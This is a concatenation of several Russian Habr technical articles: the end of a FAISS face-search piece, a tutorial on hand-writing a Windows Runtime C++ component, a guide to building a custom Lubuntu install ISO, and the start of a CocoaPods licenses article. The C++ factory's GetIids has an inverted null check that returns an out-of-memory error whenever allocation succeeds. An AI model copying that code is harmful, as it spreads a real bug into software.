Другая интересная особенность: в индексе FAISS чем больше лица похожи друг на друга, тем ближе друг к другу расположены соответствующие им векторы в пространстве. Я решил повнимательнее изучить чуть менее точные результаты поиска по своему лицу и обнаружил до ужаса похожих на себя клонов:)
*Некоторые из клонов автора.
Источники фото: [1](https://www.instagram.com/p/B72_g0ZoSVv/), [2](https://www.instagram.com/p/BxXgMtKF4-x/), [3](https://www.instagram.com/p/BWf141CnYtg/)*
Вообще говоря, FAISS открывает огромное поле для реализации каких-либо творческих идей. Например, по тому же принципу векторной близости похожих лиц можно было бы строить пути от одного лица к другому. Или в крайнем случае сделать из FAISS фабрику по производству подобных мемов:
*[Source](https://pikabu.ru/story/a_godyi_letyat_6520654)*
Благодарим за внимание и надеемся что этот материал будет полезен читателям Хабра!
*Статья написана при поддержке моих коллег Артёма Королёва ([korolevart](https://habr.com/ru/users/korolevart/)), Тимура Кадырова и Арины Решетниковой.
R&D Dentsu Aegis Network Russia.* | https://habr.com/ru/post/509204/ | null | ru | null |
# Создания Windows Runtime компонента на Visual C++
Тернистая дорога через дебри C# и заросли C++/CX разработки для Windows Runtime в какой-то момент привела меня к библиотеке шаблонов WRL, облегчающей написание приложений и компонентов WinRT и COM. При работе именно с этой библиотекой мне захотелось узнать, что же может скрывает под собой код:
```
#include "pch.h"
#include "RAWinRT.WRL.h"
using namespace Microsoft::WRL::Wrappers;
using namespace Microsoft::WRL;
using namespace ABI::RAWinRT::WRL;
using namespace ABI::Windows::ApplicationModel::Background;
class ABI::RAWinRT::WRL::TestTask : public RuntimeClass < RuntimeClassFlags, IBackgroundTask >
{
InspectableClass(RuntimeClass\_RAWinRT\_WRL\_TestTask, BaseTrust);
public:
STDMETHODIMP Run(IBackgroundTaskInstance \*taskInstance) override
{
return S\_OK;
}
};
ActivatableClass(TestTask);
```
и эти загадочные макросы, шаблоны, функции библиотеки.
И решил я начать с самой простого. Написать компонент Windows Runtime, имеющий единственный «класс» фоновой задачи, на Visual C++.
Если вам интересно, что из этого получилось, то добро пожаловать под кат.
#### Создание и настройка проекта компонента
Сначала я создал пустой файл решения в IDE Visual Studio 2013 и добавил в него проект DLL библиотеки для Windows Store приложения.
Для проекта я выбрал имя NMSPC.TestComponent, где NMSPC – некоторое пространство имён. Сделал это в демонстрационных целях, поскольку такое именование является достаточно частой практикой при создание проектов. Также, изменил пространство имён по умолчанию c NMSPC\_TestComponent на соответствующее названию проекта.
Для файлов я предпочитаю более короткие названия, поэтому переименовал заголовочный файл и файл исходного кода на TetsComponent. Перед тем, как приступить к реализации компонента в коде, добавил несколько дополнительных файлов. TestComponent.def – файл определения экспортируемых динамической библиотекой функций, TestComponent.idl – файл описания интерфейсов.
Добавив эти файлы в проект, приступил к его настройке. Чтобы не менять настройки для каждой конфигурации по отдельности, мне достаточно было выбрать все конфигурации и платформы, а затем перейти к редактированию параметров. Была задана настройки уровня предупреждений, указан параметр генерации метаданных, изменен шаблон имени генерируемого MIDL компилятором заголовочного файла, добавлена компоновка с runtimeobject.lib и выбрана подсистема.
Далее, настроил дополнительный шаг построения проекта. Про него расскажу чуть-чуть подробнее.
Данный шаг предназначен для правильной генерации метаданных проекта. Командная строка была задана следующим образом:
```
del "$(OutDir)$(TargetName).winmd" && mdmerge -partial -i "$(OutDir)." -o "$(OutDir)Output" -metadata_dir "$(WindowsSDK_MetadataPath)" && del "$(OutDir)*.winmd" && copy /y "$(OutDir)Output\*" "$(OutDir)" && rd /q /s "$(OutDir)Output"
```
Она состоит из небольшого количества последовательных шагов, каждый из которых выполняет некоторую задачу. 1. Удаляем из папки назначения файл метаданных проекта NMSPC.TestComponent.winmd.
2. Комбинируем наши файлы метаданных. Результат будет помещён в папку Output в $(OutDir).
3. Копируем файлы метаданных из папки Ouput в папку $(OutDir).
4. Удаляем папку Output вместе с содержимым.
Проделав все эти предварительные шаги, я наконец-то смог приступить к написанию кода.
#### DEF, MIDL, PCH
Любая «уважающая себя» библиотека компонента Windows Runtime должна экспортировать две очень важные функции DllGetActivationFactory и DllCanUnloadNow, которые используются средой исполнения. Экспорт данных функций был определён в файле TestComponent.def (также их необходимо будет реализовать в коде, но об этом чуть позднее).
```
EXPORTS
DllGetActivationFactory PRIVATE
DllCanUnloadNow PRIVATE
```
Далее, я описал интерфейс класса в файле TestComponent.idl.
```
import "Windows.ApplicationModel.Background.idl";
namespace NMSPC
{
namespace TestComponent
{
[version(1.0)]
[activatable(1.0)]
[marshaling_behavior(agile)]
[threading(both)]
runtimeclass TestBackgroundTask
{
[default] interface Windows.ApplicationModel.Background.IBackgroundTask;
};
}
}
```
Первой директивой импортируется файл с описание интерфейса фоновой задачи Windows::ApplicationModel::Background::IBackgroundTask. Так как этого файла достаточно для MIDL компилятора, то необходимость в импорте других файлов описания интерфейсов отсутствует (для платформы Windows Store 8.1 файлы описания интерфейсов и заголовочные файлы расположены в C:\Program Files (x86)\Windows Kits\8.1\Include\winrt). Пространство имён для класса было выбрано в соответствии с названием проекта NMSPC::TestComponent. С помощью атрибутов были заданы версия класса(version), признак наличия конструктора по-умолчанию(activatable), работа с потоками(threading) и маршалинг(marshaling\_behavior). Скомпилировав данный с помощью MIDL компилятора, я получил заголовочный файл TetsComponent.h.
Для уменьшения времени компиляции, дополнительно вынес директивы включения заголовочных файлов activation.h и new в файл pch.h(который используется для генерации предварительно скомпилированных заголовочных файлов). Необходимость включения этих заголовочных файлов объясняется зависимостью от интерфейса IActivationFactory и константы std::nothrow.
```
#pragma once
#include "targetver.h"
#ifndef WIN32_LEAN_AND_MEAN
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
#endif
#include
#include
#include
```
Оставалось только реализовать класс, фабрику и экспортируемые функции в коде.
#### Код
Первым делом, я включил в файл кода TestComponent.cpp кроме файла предкомпилированных заголовков ещё и сгенерированный MIDL компилятором заголовочный файл TestComponent.h. По соглашению, все генерируемые MIDL компиляторам интерфейсы размещаются в пространстве имён ABI, поэтому интерфейсы для класса и его декларация будут располагаться в ABI::NMSPC::TestComponent, а интерфейсы для реализации фоновой задачи в ABI::Windows::ApplicationModel::Background(я не стал импортировать все пространство имён, вместо этого указал использование только отдельных интерфейсов).
```
#include "pch.h"
#include "TestComponent.h"
//Импортируем пространство имён нашего компонента
using namespace ABI::NMSPC::TestComponent;
//Импортируем интерфейсы из пространства имён ABI::Windows::ApplicationModel::Background
using ABI::Windows::ApplicationModel::Background::IBackgroundTask;
using ABI::Windows::ApplicationModel::Background::IBackgroundTaskInstance;
```
Класс реализации фоновой задачи получился достаточно простым. По сути, необходимо было реализовать интерфейсы IUnknown, IInspectable и IBackgroundTask.
```
//Класс реализации фоновой задачи.
//Реализует единственный "интерфейс" IBackgroundTask
class ABI::NMSPC::TestComponent::TestBackgroundTask sealed : public IBackgroundTask
{
//Переменная для подсчёта ссылок на текущий объект
ULONG m_count;
public:
TestBackgroundTask() throw()
: m_count(1)
{
//Увеличиваем общее количество экземпляров объектов библиотеки
InterlockedIncrement(&m_objectsCount);
}
~TestBackgroundTask() throw()
{
//Уменьшаем общее количество экземпляров объектов библиотеки
InterlockedDecrement(&m_objectsCount);
}
#pragma region IUnknown
//Реализация COM метода увеличения счетчика ссылок на объект
STDMETHODIMP_(ULONG) AddRef() throw() override final
{
//Увеличиваем количество ссылок на объект и возвращаем результат
return InterlockedIncrement(&m_count);
}
//Реализация COM метода уменьшения счетчика ссылок на объект
STDMETHODIMP_(ULONG) Release() throw() override
{
//Получаем результат после уменьшения количества ссылок на объект
auto const count = InterlockedDecrement(&m_count);
//Если количество стало равным нулю
if (0 == count)
{
//Уничтожаем объект
delete this;
}
//Возвращаем количество ссылок
return count;
}
//Реализация COM метода опроса на имплементацию заданного интерфейса
STDMETHODIMP QueryInterface(const IID& riid, void** ppvObject) throw() override final
{
//Проверка запроса на равенство реализуемым интерфейсам
//Проверяются три интерфеса так как IBackgroundTask наследует IInspectable
//А IInspectable наследует IUnknown
if (__uuidof(IUnknown) == riid || __uuidof(IInspectable) == riid || __uuidof(IBackgroundTask) == riid)
{
*ppvObject = this;
}
else
{
*ppvObject = nullptr;
//Возвращаем константу означающую, что данный интерфейс не поддерживается
return E_NOINTERFACE;
}
//Увеличиваем количество ссылок на объект
//Это стандартное соглашение
static_cast(\*ppvObject)->AddRef();
return S\_OK;
}
#pragma endregion
#pragma region IInspectable
//Реализация WINRT метода получения массива идентификаторов реализуемых интерфейсов
STDMETHODIMP GetIids(ULONG\* iidCount, IID\*\* iids) throw() override
{
//Выделяем память для одного GUID, т.к. наш класс реализует только один интерфейс
//Используетс функция CoTaskMemAlloc, т.к. вызывающий объект может очистить массив с помощью CoTaskMemFree
\*iids = static\_cast(CoTaskMemAlloc(sizeof(GUID)));
//Если указатель NULL
if (!\*iids)
{
//Возвращаем ошибку отсутствия памяти
return E\_OUTOFMEMORY;
}
//Устанавливаем количество реализуемых интерфейсов
\*iidCount = 1;
//Инициализируем значение идентификатором интерфейса IBackgroundTask
(\*iids)[0] = \_\_uuidof(IBackgroundTask);
return S\_OK;
}
//Реализация WINRT метода получения имени Runtime класса
STDMETHODIMP GetRuntimeClassName(HSTRING\* className) throw() override final
{
//Проверяем результат возвращаемой функции
//Документация рекомендует возвращает E\_OUTOFMEMORY в любом случае неудачи
//Если это не фабрика или статический интерфейс
if (S\_OK != WindowsCreateString(
RuntimeClass\_NMSPC\_TestComponent\_TestBackgroundTask,
\_countof(RuntimeClass\_NMSPC\_TestComponent\_TestBackgroundTask),
className))
{
return E\_OUTOFMEMORY;
}
return S\_OK;
}
//Реализация WINRT метода получения TrustLevel объекта
STDMETHODIMP GetTrustLevel(TrustLevel\* trustLevel) throw() override final
{
\*trustLevel = BaseTrust;
return S\_OK;
}
#pragma endregion
#pragma region IBackgroundTask
//Реализация IBackgroundTask метода запуска фоновой задачи
STDMETHODIMP Run(IBackgroundTaskInstance\* task\_instance) throw() override final
{
//Просто пишем строку в отладочное окно
OutputDebugStringW(L"Hello from background task.\r\n");
return S\_OK;
}
#pragma endregion
};
```
Теперь, когда класс был готов, нужно было написать класс фабрики объектов. Данный класс фабрики должен реализовывать интерфейс IActivationFactory, который определён в заголовочном файле activation.h. Данный интерфейс, помимо наследования IInspectable(а значит и IUnknown), определяет метод
```
virtual HRESULT STDMETHODCALLTYPE ActivateInstance(
/* [out] */ __RPC__deref_out_opt IInspectable **instance) = 0;
```
Также должна отличаться реализация метода GetRuntimeClassName, о чем говорится в документации к методу на MSDN:
<https://msdn.microsoft.com/en-us/library/br205823(v=vs.85).aspx>
```
//Класс реализации фабрики фоновых задач.
class TestBackgroundTaskFactory sealed : public IActivationFactory
{
//Переменная для подсчёта ссылок на текущий объект
ULONG m_count;
public:
TestBackgroundTaskFactory() throw()
: m_count(1)
{
//Увеличиваем общее количество экземпляров объектов библиотеки
InterlockedIncrement(&m_objectsCount);
}
~TestBackgroundTaskFactory() throw()
{
//Уменьшаем общее количество экземпляров объектов библиотеки
InterlockedDecrement(&m_objectsCount);
}
//Реализация COM метода увеличения счетчика ссылок на объект
STDMETHODIMP_(ULONG) AddRef() throw() override final
{
//Увеличиваем количество ссылок на объект и возвращаем результат
return InterlockedIncrement(&m_count);
}
//Реализация COM метода уменьшения счетчика ссылок на объект
STDMETHODIMP_(ULONG) Release() throw() override
{
//Получаем результат после уменьшения количества ссылок на объект
auto const count = InterlockedDecrement(&m_count);
//Если количество стало равным нулю
if (0 == count)
{
//Уничтожаем объект
delete this;
}
//Возвращаем количество ссылок
return count;
}
//Реализация COM метода опроса на имплементацию заданного интерфейса
STDMETHODIMP QueryInterface(const IID& riid, void** ppvObject) throw() override final
{
if (__uuidof(IUnknown) == riid || __uuidof(IInspectable) == riid || __uuidof(IActivationFactory) == riid)
{
*ppvObject = this;
}
else
{
*ppvObject = nullptr;
return E_NOINTERFACE;
}
static_cast(\*ppvObject)->AddRef();
return S\_OK;
}
//Реализация WINRT метода получения массива идентификаторов реализуемых интерфейсов
STDMETHODIMP GetIids(ULONG\* iidCount, IID\*\* iids) throw() override final
{
//Выделяем память для одного GUID, т.к. наш класс реализует только один интерфейс
//Используетс функция CoTaskMemAlloc, т.к. вызывающий объект может очистить массив с помощью CoTaskMemFree
\*iids = static\_cast(CoTaskMemAlloc(sizeof(GUID)));
//Если указатель NULL
if (\*iids)
{
//Возвращаем ошибку отсутствия памяти
return E\_OUTOFMEMORY;
}
//Устанавливаем количество реализуемых интерфейсов
\*iidCount = 1;
//Инициализируем значение идентификатором интерфейса IBackgroundTask
(\*iids)[0] = \_\_uuidof(IActivationFactory);
return S\_OK;
}
//Реализация WINRT метода получения имени Runtime класса
STDMETHODIMP GetRuntimeClassName(HSTRING\*) throw() override final
{
//Возвращаем данную константу, т.к. вызовается метод фабрики
return E\_ILLEGAL\_METHOD\_CALL;
}
//Реализация WINRT метода получения TrustLevel объекта
STDMETHODIMP GetTrustLevel(TrustLevel\* trustLevel) throw() override final
{
\*trustLevel = BaseTrust;
return S\_OK;
}
//Реализация IActivationFactory метода инстанциирования экземпляра
STDMETHODIMP ActivateInstance(IInspectable\*\* instance) throw() override final
{
//Если указатель равено null
if (nullptr == instance)
{
//Возвращаем ошибку
return E\_INVALIDARG;
}
//Создаём объект
//При этом указываем признак того, что не надо генерировать исключение
\*instance = new (std::nothrow) TestBackgroundTask();
//Возвращаем результат в зависимости от успешности создания объекта
return \*instance ? S\_OK : E\_OUTOFMEMORY;
}
};
```
Внимательный читатель мог заметить странную деталь в конструкторах и деструкторах классов, а именно инкремент и декремент переменной m\_objectsCount. Данную переменную я объявил сразу после директив using перед кодом классов. А используется она в экспортируемой библиотекой функции DllCanUnloadNow:
```
//Реализация экспортируемой функции опроса возможности выгрузки библиотеки
HRESULT WINAPI DllCanUnloadNow() throw()
{
//Возвращаем признак в зависимости от количества текущий экземпляров
return m_objectsCount ? S_FALSE : S_OK;
}
```
Кроме этой функции, была определена ещё одна DllGetActivationFactory, предназначенная для получения фабрики по идентификатору класса(в Windows Runtime это строка с включением всех пространств имён).
```
//Реализация экспортируемой функции получения фабрики объектов класса, имеющего идентификатор activatableClassId
HRESULT WINAPI DllGetActivationFactory(HSTRING activatableClassId, IActivationFactory **factory) throw()
{
//Проверяем идентфикатор класса и указатель на фабрику
if (WindowsIsStringEmpty(activatableClassId) || nullptr == factory)
{
//Если идентификатор не задан или указатель нулевой
return E_INVALIDARG;
}
//Проверяем на равенство строки идентификатора класса и определенного нами класса
if (0 == wcscmp(RuntimeClass_NMSPC_TestComponent_TestBackgroundTask, WindowsGetStringRawBuffer(activatableClassId, nullptr)))
{
//Инициализируем указатель
*factory = new (std::nothrow) TestBackgroundTaskFactory();
return *factory ? S_OK : E_OUTOFMEMORY;
}
*factory = nullptr;
return E_NOINTERFACE;
}
```
Перед тем, как рассказать об использовании компонента в C# приложении, упомяну ещё о явной реализации функции DllMain, определённой в файле dllmain.cpp. Я использовал её только в диагностических целях, но варианты использования могут быть отличными от моего.
```
#include "pch.h"
BOOL APIENTRY DllMain(HMODULE /* hModule */, DWORD ul_reason_for_call, LPVOID /* lpReserved */)
{
OutputDebugStringW(L"Hello from DLL.\r\n");
return TRUE;
}
```
На этом реализация библиотеки компонента была закончена. И я смог приступить к её практическому использованию в приложении.
#### C# приложение
Создав проект приложения NMSPC.CSTestAppp с помощью шаблона Blank App, я добавил в него ссылки на проект компонента и Microsoft Visual C++ 2013 Runtime Package.
Оставалось только отредактировать файл манифеста приложения, добавив в него определение фоновой задачи, и написать код, выполняющий регистрацию фоновой задачи.
Код разместил в методе OnLaunched класса App. Код простой: сначала удаляет все регистрации задач, потом создаёт объект-buiilder задачи, устанавливает триггер, указанный в манифесте, и регистрирует задачу.
```
foreach (var pair in BackgroundTaskRegistration.AllTasks)
{
pair.Value.Unregister(true);
}
var taskBuilder = new BackgroundTaskBuilder
{
Name = "TestBackgroundTask",
TaskEntryPoint = "NMSPC.TestComponent.TestBackgroundTask"
};
taskBuilder.SetTrigger(new SystemTrigger(SystemTriggerType.TimeZoneChange, true));
taskBuilder.Register();
```
Для того, чтобы иметь возможность перехода к точкам останова в коде на C++, установил в настройках отладки проекта приложения тип процесса Mixed(Managed and Native). Кстати, эта настройка также актуальна и для C++/CX приложений.
Теперь можно было запустить приложение в режиме отладки, выполнить код регистрации компонента и протестировать запуск фоновой задачи с помощью кнопки Lifecycle Events раздела Debug Locations.
Выполнив это, я увидел те самые заветные строки в окне Output, вывод которых был запрограммирован в C++ коде с помощью функции OutputDebugStringW.
```
Hello from DLL.
Hello from background task.
```
#### Заключение
Как оказалось, написать код компонента без использования WRL возможно. Решение этой задачи позволило лучше узнать механизмы исполнения и принципы взаимодействия компонентов среды Windows Runtime.
Исходный код доступен на GitHub
<https://github.com/altk/RuntimeComponent> | https://habr.com/ru/post/252759/ | null | ru | null |
# Добавление пакетов к автономному установщику Lubuntu Alternate ISO
Введение
========
При создании автономных установочных носителей для автоматизированной установки ОС Lubuntu 14.04 с использованием [preseed](https://wiki.debian.org/DebianInstaller/Preseed), я столкнулся с тем, что мне нужно добавить на установочный носитель пакеты, которые отсутствуют в исходном [alternate-дистрибутиве](https://help.ubuntu.com/community/Lubuntu/Alternate_ISO). Я перепробовал много различных способов создания собственных автономных дистрибутивов, но они оказались:
* либо неподходящими ([LiveCDCustomization](https://help.ubuntu.com/community/LiveCDCustomization)), т.к. мне нужен не LiveCD, а установочный preseed-дистрибутив;
* либо очень сложными ([DebianCustomCD](https://wiki.debian.org/DebianCustomCD));
* либо работали, не как ожидалось ([Simple-CDD](https://wiki.debian.org/Simple-CDD/Howto), [DebianInstaller/Modify/CD](https://wiki.debian.org/DebianInstaller/Modify/CD)), а может я не до конца разобрался.
В итоге остановился на способе, который [описан в сообществе Ubuntu](https://help.ubuntu.com/community/InstallCDCustomization).
Хочу рассказать о том, что у меня получилось.
Подготовка
==========
Для дополнения дистрибутива нам потребуется [исходный alternate-дистрибутив](http://cdimages.ubuntu.com/lubuntu/releases/trusty/release/lubuntu-14.04.1-alternate-i386.iso), к которому будем добавлять пакеты. А также компьютер под управлением Ubuntu или Lubuntu, на котором мы будем это делать.
### Создание структуры каталогов и копирование файлов
Создадим каталог, в котором мы будем работать с этим дистрибутивом:
```
mkdir -p /opt/cd-image
```
Скачаем дистрибутив:
```
wget http://cdimages.ubuntu.com/lubuntu/releases/trusty/release/lubuntu-14.04.1-alternate-i386.iso
```
Распакуем скачанный iso-образ:
```
mkdir /mnt/iso
mount -o loop lubuntu-14.04.1-alternate-i386.iso /mnt/iso
cp -rT /mnt/iso /opt/cd-image
umount /mnt/iso
```
Создадим каталог для пакетов, которые мы хотим добавить в дистрибутив:
```
mkdir -p /opt/cd-image/pool/extras
```
**Структура каталогов целиком**
```
tree -d -L 3 /opt
/opt
├── apt-ftparchive
├── build
│ └── ubuntu-keyring-2012.05.19
│ ├── debian
│ └── keyrings
├── cd-image
│ ├── boot
│ │ └── grub
│ ├── dists
│ │ └── trusty
│ ├── doc
│ │ └── install
│ ├── install
│ │ └── netboot
│ ├── isolinux
│ ├── pics
│ ├── pool
│ │ ├── extras
│ │ ├── main
│ │ └── universe
│ └── preseed
└── indices
```
### Подготовка ключей шифрования
Если у Вас нет пары публичный-приватный ключ, то нужно будет ее создать с помощью [gpg](http://manpages.ubuntu.com/manpages/trusty/en/man1/gpg.1.html). Ключу желательно задать комментарий вида «XXX Signing Key».
**gpg --gen-key**
```
gpg --gen-key
gpg (GnuPG) 1.4.16; Copyright (C) 2013 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Please select what kind of key you want:
(1) RSA and RSA (default)
(2) DSA and Elgamal
(3) DSA (sign only)
(4) RSA (sign only)
Your selection? 1
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048)
Requested keysize is 2048 bits
Please specify how long the key should be valid.
0 = key does not expire
= key expires in n days
w = key expires in n weeks
m = key expires in n months
y = key expires in n years
Key is valid for? (0)
Key does not expire at all
Is this correct? (y/N) y
You need a user ID to identify your key; the software constructs the user ID
from the Real Name, Comment and Email Address in this form:
"Heinrich Heine (Der Dichter) "
Real name: Alexandr Petrenko
Email address: \*\*\*\*\*\*\*\*\*@gmail.com
Comment: My Signing Key
You selected this USER-ID:
"Alexandr Petrenko (My Signing Key) <\*\*\*\*\*\*\*\*\*@gmail.com>"
Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? o
You need a Passphrase to protect your secret key.
```
Приватный ключ будем использовать для подписывания Release-файлов репозитория.Для следующих действий потребуется пакет fakeroot, установите его, если он отсутствует в вашей системе.
**Теперь нужно добавить ваш ключ в пакет ubuntu-keyring**
```
mkdir /opt/build
cd /opt/build
# Скачаем исходники действующего пакета с ключами
apt-get source ubuntu-keyring
# Импортируем ключи из пакета
cd ubuntu-keyring-2012.05.19/keyrings/
gpg --import < ubuntu-archive-keyring.gpg
# Для просмотра ключей, содержащих "Signing Key" в комментарии, введите
gpg --list-keys "Signing Key"
pub 1024D/437D05B5 2004-09-12
uid Ubuntu Archive Automatic Signing Key
sub 2048g/79164387 2004-09-12
pub 1024D/FBB75451 2004-12-30
uid Ubuntu CD Image Automatic Signing Key
pub 2048R/YOURKEYID 2015-01-28
uid My Signing Key <\*\*\*\*\*\*\*\*\*@gmail.com>
sub 2048R/KEYID 2015-01-28
# Добавьте свой ключ в связку
gpg --export FBB75451 437D05B5 YOURKEYID > ubuntu-archive-keyring.gpg
# Перейдите на уровень выше в каталог ubuntu-keyring-2012.05.19 и соберите пакет с вашим ключом
cd ..
dpkg-buildpackage -rfakeroot -m"Ваше имя " -kYOURKEYID
# И скопируйте полученный пакета в репозиторий на диске
cd ..
cp ubuntu-keyring\*deb /opt/cd-image/pool/main/u/ubuntu-keyring
```
Копирование файлов в репозиторий
================================
Можно просто добавить несколько пакетов вручную в каталог /opt/cd-image/pool/extras.
Если требуется обновить модули ядра установщика, то это можно сделать так:
```
cd /opt/cd-image/pool/main/l/linux/
wget -r -nd --no-parent --accept '*-modules-3.13.0-24*i386.udeb' ftp://security.ubuntu.com/ubuntu/pool/main/l/linux/
```
где вместо 3.13.0-24\*i386 можно указать нужную версию ядра, которое вы используете для загрузки, и архитектуру модулей.
Чтобы скачать все пакеты, установленные в текущей ОС на эталонном компьютере, можно выполнить вот такой
**скрипт**
```
#!/bin/bash
dpkg --get-selections | while read line
do
package=`expr "$line" : '\(.*\)install'`
echo $package
apt-get download $package
done
for i in *; do mv $i ${i/'1%3a'/''}; done
```
И добавить скачанные пакеты из кэша apt в репозиторий.
Создание автономного локального репозитория с помощью apt-ftparchive
====================================================================
Утилита [apt-ftparchive](http://manpages.ubuntu.com/manpages/trusty/en/man1/apt-ftparchive.1.html) содержится в пакете apt-utils.
Все настройки даны для Lubuntu 14.04 Trusty и архитектуры i386. Если версия или архитектура вашего дистрибутива отличаются, то нужно поправить соответствующие значения в конфигурационных файлах и скриптах.
### Описание репозитория для apt-ftparchive
В каталоге /opt/apt-ftparchive необходимо создать следующие конфигурационные файлы:
Настройки для карманов main и universe:
**apt-ftparchive-deb.conf**
```
Dir {
ArchiveDir "/opt/cd-image/";
};
TreeDefault {
Directory "pool/";
};
BinDirectory "pool/main" {
Packages "dists/trusty/main/binary-i386/Packages";
BinOverride "/opt/indices/override.trusty.main";
ExtraOverride "/opt/indices/override.trusty.extra.main";
};
BinDirectory "pool/universe" {
Packages "dists/trusty/universe/binary-i386/Packages";
BinOverride "/opt/indices/override.trusty.universe";
};
Default {
Packages {
Extensions ".deb";
Compress ". gzip";
};
};
Contents {
Compress "gzip";
};
```
Настройки для модулей установщика debian-installer в карманах main и universe:**apt-ftparchive-udeb.conf**
```
Dir {
ArchiveDir "/opt/cd-image/";
};
TreeDefault {
Directory "pool/";
};
BinDirectory "pool/main" {
Packages "dists/trusty/main/debian-installer/binary-i386/Packages";
BinOverride "/opt/indices/override.trusty.main.debian-installer";
};
BinDirectory "pool/universe" {
Packages "dists/trusty/universe/debian-installer/binary-i386/Packages";
BinOverride "/opt/indices/override.trusty.universe.debian-installer";
};
Default {
Packages {
Extensions ".udeb";
Compress ". gzip";
};
};
Contents {
Compress "gzip";
};
```
Настройки для нашего кармана extras:**apt-ftparchive-extras.conf**
```
Dir {
ArchiveDir "/opt/cd-image/";
};
TreeDefault {
Directory "pool/";
};
BinDirectory "pool/extras" {
Packages "dists/trusty/extras/binary-i386/Packages";
};
Default {
Packages {
Extensions ".deb";
Compress ". gzip";
};
};
Contents {
Compress "gzip";
};
```
Настройки для создания Release-файла репозитория:
**release.conf**
```
APT::FTPArchive::Release::Origin "Ubuntu";
APT::FTPArchive::Release::Label "Ubuntu";
APT::FTPArchive::Release::Suite "trusty";
APT::FTPArchive::Release::Version "14.04";
APT::FTPArchive::Release::Codename "trusty";
APT::FTPArchive::Release::Architectures "i386";
APT::FTPArchive::Release::Components "main restricted extras";
APT::FTPArchive::Release::Description "Ubuntu 14.04 LTS";
```
### Загрузка индексов
**get-indices.bash**
```
#!/bin/bash
cd /opt/indices/
DIST=trusty
for SUFFIX in extra.main main main.debian-installer universe universe.debian-installer; do
wget http://archive.ubuntu.com/ubuntu/indices/override.$DIST.$SUFFIX
done
```
### Создание Packages и Release файлов репозитория
Скрипт, который запускает создание Packages и Release файлов репозитория утилитой apt-ftparchive с учетом наших настроек, после чего подписывает Release файл и записывает контрольные суммы файлов в md5sum.txt:
**make-iso-repo.bash**
```
BUILD=/opt/cd-image
APTCONF=/opt/apt-ftparchive/release.conf
DISTNAME=trusty
pushd $BUILD
apt-ftparchive -c $APTCONF generate /opt/apt-ftparchive/apt-ftparchive-deb.conf
apt-ftparchive -c $APTCONF generate /opt/apt-ftparchive/apt-ftparchive-udeb.conf
apt-ftparchive -c $APTCONF generate /opt/apt-ftparchive/apt-ftparchive-extras.conf
apt-ftparchive -c $APTCONF release $BUILD/dists/$DISTNAME > $BUILD/dists/$DISTNAME/Release
gpg --default-key "YOURKEYID" --output $BUILD/dists/$DISTNAME/Release.gpg -ba $BUILD/dists/$DISTNAME/Release
find . -type f -print0 | xargs -0 md5sum > md5sum.txt
```
Создание и использование ISO-образа
===================================
### Создание ISO-образа
**make-iso-image.bash**
```
IMAGE=custom.iso
BUILD=/opt/cd-image/
mkisofs -r -V "Custom Ubuntu Install CD" \
-cache-inodes \
--iso-level 3 -J -l -b isolinux/isolinux.bin \
-c isolinux/boot.cat -no-emul-boot \
-boot-load-size 4 -boot-info-table \
-o $IMAGE $BUILD
```
### Загрузка с ISO-образа
Теперь можно загрузиться с помощью созданного ISO-образа, записав образ на CD/DVD-диск, или со сменного носителя.
### Создание загрузочного USB диска
Для загрзуки нужно отформатировать диск в FAT32. Установить на диск загрузчик, например grub2:
```
sudo grub-install --no-floppy --root-directory=/media/multiboot /dev/sdb
```
где /media/multiboot — путь к смонтированному разделу загрузочного USB-диска; /dev/sdb — устройство загрузочного диска.
После этого настроить загрузчик. Примерный конфиг grub2:
**/media/multiboot/boot/grub/grub.cfg**
```
# таймаут меню
set timeout=10
# выбранный пункт по умолчанию
set default=0
# загружаем модули
insmod ext2
insmod loopback
insmod iso9660
insmod fat
insmod part_msdos
menuentry "Boot from first hard disk" {
set root=(hd1)
chainloader +1
}
set iso="/custom.iso"
menuentry "Custom.iso" {
linux /vmlinuz debconf/priority=high shared/ask_device=manual shared/enter_device=/dev/disk/by-label/DISKLABEL iso-scan/filename=$iso auto-install/enable=true debian-installer/language=ru debian-installer/locale=ru_RU.UTF-8 debian-installer/country=RU preseed/file=/cdrom/preseed/custom.seed DEBCONF_DEBUG=5 --
initrd /initrd.gz
}
```
Также нужно добавить в корень USB-диска [vmlinuz и initrd](http://security.ubuntu.com/ubuntu/dists/trusty/main/installer-i386/20101020ubuntu316/images/hd-media/).
В файле [udeb.list](http://security.ubuntu.com/ubuntu/dists/trusty/main/installer-i386/20101020ubuntu316/images/udeb.list) можно узнать версии модулей, которые требуются ядру, и которые нужно поместить в дистрибутив (см. выше).
Остается загрузиться с созданного диска, и запустить установку ОС.
**Источники информации*** [wiki.debian.org/DebianInstaller/Preseed](https://wiki.debian.org/DebianInstaller/Preseed)
* [help.ubuntu.com/community/Lubuntu/Alternate\_ISO](https://help.ubuntu.com/community/Lubuntu/Alternate_ISO)
* [help.ubuntu.com/community/LiveCDCustomization](https://help.ubuntu.com/community/LiveCDCustomization)
* [wiki.debian.org/DebianCustomCD](https://wiki.debian.org/DebianCustomCD)
* [wiki.debian.org/Simple-CDD/Howto](https://wiki.debian.org/Simple-CDD/Howto)
* [wiki.debian.org/DebianInstaller/Modify/CD](https://wiki.debian.org/DebianInstaller/Modify/CD)
* [help.ubuntu.com/community/InstallCDCustomization](https://help.ubuntu.com/community/InstallCDCustomization)
* [manpages.ubuntu.com/manpages/trusty/en/man1/apt-ftparchive.1.html](http://manpages.ubuntu.com/manpages/trusty/en/man1/apt-ftparchive.1.html)
* [manpages.ubuntu.com/manpages/trusty/en/man1/gpg.1.html](http://manpages.ubuntu.com/manpages/trusty/en/man1/gpg.1.html) | https://habr.com/ru/post/273255/ | null | ru | null |
# Как добавить список лицензий и благодарностей CocoaPods и при чём тут Settings.Bundle?
Как добавить список лицензий и благодарностей CocoaPods и при чём тут Settings.Bundle?Для этого нам даже не понадобится писать код (*ну почти*). **CocoaPods** по мнению многих доживает свои славные времена, ведь развитие и распространение **SPM** (Swift Package Manager) продолжает набирать обороты. Но для тех, кто из вас до сих пор использует **CocoaPods** в проде, эта статья может оказаться актуальной.
В проектах всё ещё часто используется **CocoaPods,** и один из полезных и необходимых пунктов при разработке приложения с использованием опенсорсных решений — отображение списка лицензий. И для сохранения авторских прав, и в качестве благодарности авторам.
Для этого нам понадобится связка плагина **CocoaPods** и **Xcode**.
